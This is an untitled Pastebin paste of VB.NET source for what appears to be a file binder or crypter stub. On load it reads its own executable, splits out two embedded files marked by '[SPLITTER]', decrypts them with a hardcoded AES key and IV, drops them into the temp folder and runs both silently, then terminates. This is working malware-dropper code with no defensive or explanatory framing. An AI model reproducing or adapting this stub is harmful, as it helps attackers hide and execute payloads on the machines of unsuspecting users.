Advertisement
Guest User

Untitled

a guest
Jun 18th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. Public Class Form1
  2. Function unsecure(ByVal data As Byte()) As Byte()
  3. Using sa As New System.Security.Cryptography.RijndaelManaged
  4. sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  5. sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  6. Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  7. End Using
  8. End Function
  9.  
  10. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  11. Try
  12. Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
  13. Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
  14. Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
  15. Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
  16. My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
  17. My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
  18. Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
  19. Catch ex As Exception
  20. Process.GetCurrentProcess.Kill()
  21. End Try
  22. Process.GetCurrentProcess.Kill()
  23. End Sub
  24.  
  25. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement